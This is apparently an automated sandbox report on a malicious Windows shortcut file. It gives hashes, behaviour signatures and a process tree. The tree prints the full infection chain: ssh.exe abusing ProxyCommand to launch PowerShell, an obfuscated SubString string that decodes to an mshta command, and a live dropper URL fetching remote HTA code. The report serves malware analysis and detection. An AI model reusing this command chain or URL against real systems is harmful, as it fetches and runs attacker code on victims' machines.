Analysis

  • max time kernel
    94s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-12-2024 07:48

General

  • Target

    0306addb386436ae663da152bee03226.lnk

  • Size

    2KB

  • MD5

    0306addb386436ae663da152bee03226

  • SHA1

    0c35bff3dafec0f21436b6db025a24e0102ce7b7

  • SHA256

    32a98d1b299d1feebb096cdeb38433013b7db6adf5d9923b539390d777bfac3f

  • SHA512

    b5508d380b65cc364d378f1ea69d33b9f4eed2f45b9cd48a4b13cd51e97d7e77eccf81516eca2b14229bfda80d05277693a03093ea7f553db88c78946bc718f7

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://150.241.97.10/aaa.mp4

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\0306addb386436ae663da152bee03226.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1700
    • C:\Windows\System32\OpenSSH\ssh.exe
      "C:\Windows\System32\OpenSSH\ssh.exe" -o ProxyCommand="powershell powershell -Command '|\|AbH4Q3w|fYZxmshta https://150.241.97.10/aaa.mp4|\|AbH4Q3w|fYZx'.SubString(15, 35)" .
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3268
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell powershell -Command '|\|AbH4Q3w|fYZxmshta https://150.241.97.10/aaa.mp4|\|AbH4Q3w|fYZx'.SubString(15, 35)
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4224
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta https://150.241.97.10/aaa.mp4"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:968
          • C:\Windows\system32\mshta.exe
            "C:\Windows\system32\mshta.exe" https://150.241.97.10/aaa.mp4
            5⤵
            • Blocklisted process makes network request
            PID:2912

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    c2725ae3d241d846de6cbcd661b32aaf

    SHA1

    26381f5b9872f011e21da499eb50c467715e23da

    SHA256

    35a882b070c9f98c728af00a387afd3b9473d550a661efce9b8b20b4ad0012df

    SHA512

    6bcae1738dd58c115d713db3a667d3b027a416928036df8b66e397b35b046c9f86d03411cd088c3c056f744ab1e8ee0d97dd1dc5b1ebf0e3d1ccf367c55ee160

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3n0honza.tdy.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4224-0-0x00007FFF759D3000-0x00007FFF759D5000-memory.dmp

    Filesize

    8KB

  • memory/4224-10-0x000001CEF4CF0000-0x000001CEF4D12000-memory.dmp

    Filesize

    136KB

  • memory/4224-11-0x00007FFF759D0000-0x00007FFF76491000-memory.dmp

    Filesize

    10.8MB

  • memory/4224-12-0x00007FFF759D0000-0x00007FFF76491000-memory.dmp

    Filesize

    10.8MB

  • memory/4224-28-0x00007FFF759D0000-0x00007FFF76491000-memory.dmp

    Filesize

    10.8MB